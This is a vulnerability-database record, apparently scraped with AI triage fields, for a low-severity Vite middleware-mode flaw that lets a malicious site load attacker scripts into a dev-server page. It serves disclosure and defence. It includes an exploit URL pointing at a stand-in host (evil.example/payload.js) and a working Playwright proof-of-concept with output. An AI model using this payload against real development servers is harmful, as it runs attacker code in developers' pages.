{"id":"CVE-2026-112945","kind":"vulnerability","aliases":["CVE-2026-112945","GHSA-9jrq-w75r-8gcw"],"related":[],"title":"Vite: Cross origin script execution through Vite custom middleware","description":"### Summary\n\nWhen accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.\n- the transformed HTML contains an inline module script\n- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions\n\n### Details\n\n[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:\n\n```js\nconst url = req.originalUrl\ntemplate = await vite.transformIndexHtml(url, template)\n```\n\nFor a development server at `http://localhost:5173`, an attacker can send this URL:\n\n```text\nhttp://localhost:5173//evil.example/payload.js?/../../package.json\n```\n\nIn Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.\n\nChromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.\n\n[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:\n\n```html\n<script type=\"module\" src=\"//evil.example/payload.js?/../../package.json?html-proxy&index=0.js\"></script>\n```\n\nThe generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.\n\n### PoC\n\n```js\nimport { createServer as createHttpServer } from 'node:http'\nimport { createRequire } from 'node:module'\nimport { dirname, join } from 'node:path'\nimport { fileURLToPath, pathToFileURL } from 'node:url'\n\nconst directory = dirname(fileURLToPath(import.meta.url))\nconst require = createRequire(join(directory, 'package.json'))\nconst { chromium } = require('playwright-chromium')\nconst viteModule = await import(\n  pathToFileURL(require.resolve('vite')).href\n)\nconst createViteServer =\n  viteModule.createServer ?? viteModule.default.createServer\n\n// This loopback server stands in for a separately hosted attacker website.\nconst attackerPort = 4173\nconst exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`\nconst html = '<script type=\"module\">document.body.textContent = \"Vite app\"</script>'\n\nconst listen = (server, port = 0) =>\n  new Promise((resolve, reject) => {\n    server.once('error', reject)\n    server.listen(port, '127.0.0.1', () => {\n      server.off('error', reject)\n      resolve(server.address().port)\n    })\n  })\n\nconst close = (server) =>\n  new Promise((resolve, reject) => {\n    server.close((error) => (error ? reject(error) : resolve()))\n  })\n\nlet attackerRequest = null\nconst attacker = createHttpServer((request, response) => {\n  attackerRequest = request.url\n  response.writeHead(200, {\n    'access-control-allow-origin': '*',\n    'content-type': 'text/javascript',\n  })\n  response.end(\n    \"document.documentElement.dataset.viteXssPoc = 'executed'\",\n  )\n})\n\nconst vite = await createViteServer({\n  appType: 'custom',\n  configFile: false,\n  root: directory,\n  server: {\n    hmr: false,\n    middlewareMode: true,\n    watch: null,\n  },\n})\n\nconst application = createHttpServer((request, response) => {\n  vite.middlewares(request, response, async (error) => {\n    if (error) {\n      response.destroy(error)\n      return\n    }\n\n    try {\n      const transformed = await vite.transformIndexHtml(request.url, html)\n      response.writeHead(200, { 'content-type': 'text/html' })\n      response.end(transformed)\n    } catch (transformError) {\n      response.destroy(transformError)\n    }\n  })\n})\n\nawait listen(attacker, attackerPort)\nconst applicationPort = await listen(application)\nconst browser = await chromium.launch({ headless: true })\n\ntry {\n  const page = await browser.newPage()\n  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)\n  await page.waitForFunction(\n    () => document.documentElement.dataset.viteXssPoc === 'executed',\n  )\n\n  console.log(`attacker request: ${attackerRequest}`)\n  console.log('JavaScript from the attacker server executed in the Vite page')\n} finally {\n  await browser.close()\n  await close(application)\n  await vite.close()\n  await close(attacker)\n}\n```\n\nObserved output on Vite 8.2.1:\n```text\nattacker request: /payload.js?/../../package.json?html-proxy&index=0.js\nJavaScript from the attacker server executed in the Vite page\n```","summary":"Vite's transformIndexHtml, when called with an unchanged browser request URL in middleware mode or appType custom, can be tricked into emitting a script tag pointing at an attacker-controlled host. A malicious site visiting the dev server can then get attacker JavaScript to run in the Vite page, which matters only if the page's inline module script stores sensitive values or allows critical actions.","severity":"low","cvss":2.1,"epss":0.004670000169426203,"exploited":false,"exploited_at":null,"products":[{"name":"vite","fixed":["8.3.3"],"affected":">= 8.3.0, <= 8.3.2","ecosystem":"npm"},{"name":"vite","fixed":["8.2.4"],"affected":">= 8.2.0, <= 8.2.3","ecosystem":"npm"},{"name":"vite","fixed":["8.1.6"],"affected":">= 8.0.0, <= 8.1.5","ecosystem":"npm"},{"name":"vite","fixed":["7.3.7"],"affected":">= 7.0.0, <= 7.3.6","ecosystem":"npm"},{"name":"vite","fixed":["6.4.4"],"affected":"<= 6.4.3","ecosystem":"npm"},{"name":"vite-plus","fixed":["1.1.0"],"affected":"<= 1.0.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-80","dev-server","middleware-mode","npm","package","vite"],"not_affected_if":["apptype-spa-or-mpa","no-inline-module-script","no-middleware-mode","no-sensitive-page-state"],"how_to_check":"Check whether the project runs Vite with server.middlewareMode true or appType 'custom' and passes req.originalUrl to vite.transformIndexHtml.\nRun npm ls vite (and npm ls vite-plus) to see the installed version.\nIf the dev server is only used through the default spa or mpa appType, it is not affected per the advisory.","fix":"Upgrade vite to 8.3.3, 8.2.4, 8.1.6, 7.3.7 or 6.4.4 depending on the release line, or vite-plus to 1.1.0.\nUntil upgraded, stop passing the raw request URL to transformIndexHtml; pass a normalized path instead.","status":"open","published_at":"2026-10-20T16:17:05+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:10:26+00:00","updated_at":"2026-10-23T21:57:20+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:10:26Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade vite to 8.3.3, 8.2.4, 8.1.6, 7.3.7 or 6.4.4 depending on the release line, or vite-plus to 1.1.0.\nUntil upgraded, stop passing the raw request URL to transformIndexHtml; pass a normalized path instead.","summary":"Vite's transformIndexHtml, when called with an unchanged browser request URL in middleware mode or appType custom, can be tricked into emitting a script tag pointing at an attacker-controlled host. A malicious site visiting the dev server can then get attacker JavaScript to run in the Vite page, which matters only if the page's inline module script stores sensitive values or allows critical actions.","category":"package","who_cares":["vite","npm","dev-server","middleware-mode"],"confidence":0.8,"analyst_note":"","how_to_check":"Check whether the project runs Vite with server.middlewareMode true or appType 'custom' and passes req.originalUrl to vite.transformIndexHtml.\nRun npm ls vite (and npm ls vite-plus) to see the installed version.\nIf the dev server is only used through the default spa or mpa appType, it is not affected per the advisory.","needs_analyst":false,"not_affected_if":["appType-spa-or-mpa","no-middleware-mode","no-inline-module-script","no-sensitive-page-state"],"severity_if_unknown":"unknown"},"cost_usd":0.000671,"input_tokens":4264,"output_tokens":489,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-112945':12A,20A '-2026':11A,19A '-80':30B '/../../package.json':273C,311C,497C '/127.0.0.1':494C '/evil.example/payload.js':272C '/payload.js':496C '/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#l119-l131)':221C '/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexhtml.ts#l216-l232)':349C '/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexhtml.ts#l271-l278)':375C '/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexhtml.ts#l99-l115)':284C '0':504C '127.0.0.1':514C '4173':491C '5173':262C,271C '8.2.1':218C,276C '8gcw':17A '9jrq':15A 'abl':124C 'access':109C,207C 'action':106B,211C 'affect':145C,224C 'allow':104B,209C 'app':138C,200C 'applic':227C 'apptyp':55B,165C,171C,174C 'attack':69B,82B,264C,362C,409C,487C 'attacker-control':68B 'attackerport':490C,495C 'attackerrequest':535C 'await':252C,468C 'branch':344C 'browser':48B,152C,239C,395C 'call':44B,169C 'charact':324C 'check':350C 'chromium':309C,416C,461C,465C 'close':522C 'compon':328C,331C 'condit':143C 'const':248C,449C,454C,460C,466C,474C,489C,492C,498C,500C,521C,537C 'contain':183C 'control':70B 'createdevhtmltransformfn':277C 'createhttpserv':428C 'createrequir':433C,456C 'createserv':426C 'createviteserv':475C 'critic':105B,210C 'cross':2A 'custom':8A,56B,166C 'cve':10A,18A 'cwe':29B 'deriv':334C 'detail':212C 'dev':32B,77B,115C,134C,147C,197C 'dev-serv':31B 'develop':258C 'directori':450C,458C 'dirnam':438C,451C 'document':222C 'emb':228C 'emit':61B 'error':510C,516C,529C,530C,532C 'evil.example':401C 'execut':5A,417C 'exist':338C,342C 'exploitpath':493C 'file':343C,372C 'filenam':335C,352C 'filesystem':326C 'fileurltopath':444C,452C 'follow':142C,314C 'fs.existssync':354C 'generat':381C,385C 'get':81B 'gethtmlfilenam':279C 'ghsa':14A 'ghsa-9jrq-w75r-8gcw':13A 'github.com':220C,283C,348C,374C 'github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#l119-l131)':219C 'github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexhtml.ts#l216-l232)':347C 'github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexhtml.ts#l271-l278)':373C 'github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexhtml.ts#l99-l115)':282C 'guid':216C 'host':71B,486C 'href':473C 'html':182C,235C,383C,499C 'htmlpath':358C 'http':431C 'impact':136C 'import':425C,432C,437C,443C,469C 'import.meta.url':453C 'includ':305C 'indexhtml.ts':281C,346C 'inlin':97B,185C,366C 'input':296C 'intern':168C 'javascript':83B,411C 'join':439C,457C 'js':247C,424C 'lead':392C 'let':534C 'listen':501C 'load':126C 'localhost':261C,270C 'locat':206C 'loopback':479C 'malici':73B,111C 'match':140C,178C 'matter':91B 'middlewar':9A,35B,52B,231C 'middleware-mod':34B 'mode':36B,53B,232C 'modul':98B,186C,367C,399C,436C 'mpa':175C 'new':505C,524C 'node':430C,435C,441C,447C 'normal':159C 'npm':37B 'null':536C 'origin':3A 'packag':38B 'package.json':340C,459C 'page':89B,95B,130C,193C,405C,422C 'pass':149C,237C,301C 'path':293C,327C,442C 'path.join':298C,303C 'pathtofileurl':445C,470C 'playwright':464C 'playwright-chromium':463C 'plus':28A 'poc':423C 'point':65B 'port':503C,513C,520C 'preserv':310C,356C 'project':339C 'promis':506C,525C 'proxymoduleurl':364C 'queri':307C,318C 'read':233C 'reject':508C,511C,517C,527C,531C 'req.originalurl':250C 'request':49B,153C,242C,287C,397C,414C 'requir':455C,462C 'require.resolve':471C 'resolv':332C,507C,518C,526C,533C 'return':410C 'rewrit':368C 'run':85B,120C 'scheme':407C 'script':4A,63B,99B,127C,187C,190C 'send':266C 'sensit':101B,202C 'separ':485C 'serv':131C,194C 'server':33B,78B,116C,135C,148C,198C,259C,480C,502C,523C 'server.address':519C 'server.close':528C 'server.listen':512C 'server.middlewaremode':162C 'server.off':515C 'server.once':509C 'server.transformindexhtml':156C 'setup':225C 'site':74B,112C,122C 'spa':172C 'src':382C 'ssr':215C 'stand':481C 'still':304C 'store':100B,201C 'summari':107C 'suppli':359C 'tag':64B 'tell':393C 'templat':251C,255C 'text':269C,308C,319C 'therefor':317C 'transform':181C,246C,292C 'transformindexhtml':42B 'treat':321C 'trick':59B 'true':163C 'trust':234C 'unchang':47B,151C,241C 'url':50B,154C,243C,249C,254C,268C,288C,390C,448C 'use':117C,160C,285C,402C 'valid':389C 'valu':102B,203C,300C,378C,386C 'visit':75B 'vite':1A,7A,21A,22A,23A,24A,25A,27A,39B,40B,88B,118C,213C,229C,275C,320C,404C,421C,472C 'vite-plus':26A 'vite.transformindexhtml':253C 'vitemodul':467C 'vitemodule.createserver':476C 'vitemodule.default.createserver':477C 'w75r':16A 'websit':488C 'write':376C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T16:17:05+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-9jrq-w75r-8gcw","url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","severity":"low","published_at":"2026-10-21T16:48:14+00:00","modified_at":"2026-10-21T16:48:15+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112945","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112945","severity":null,"published_at":"2026-10-20T16:17:05+00:00","modified_at":"2026-10-20T19:56:45+00:00","first_seen_at":"2026-10-23T21:57:20+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}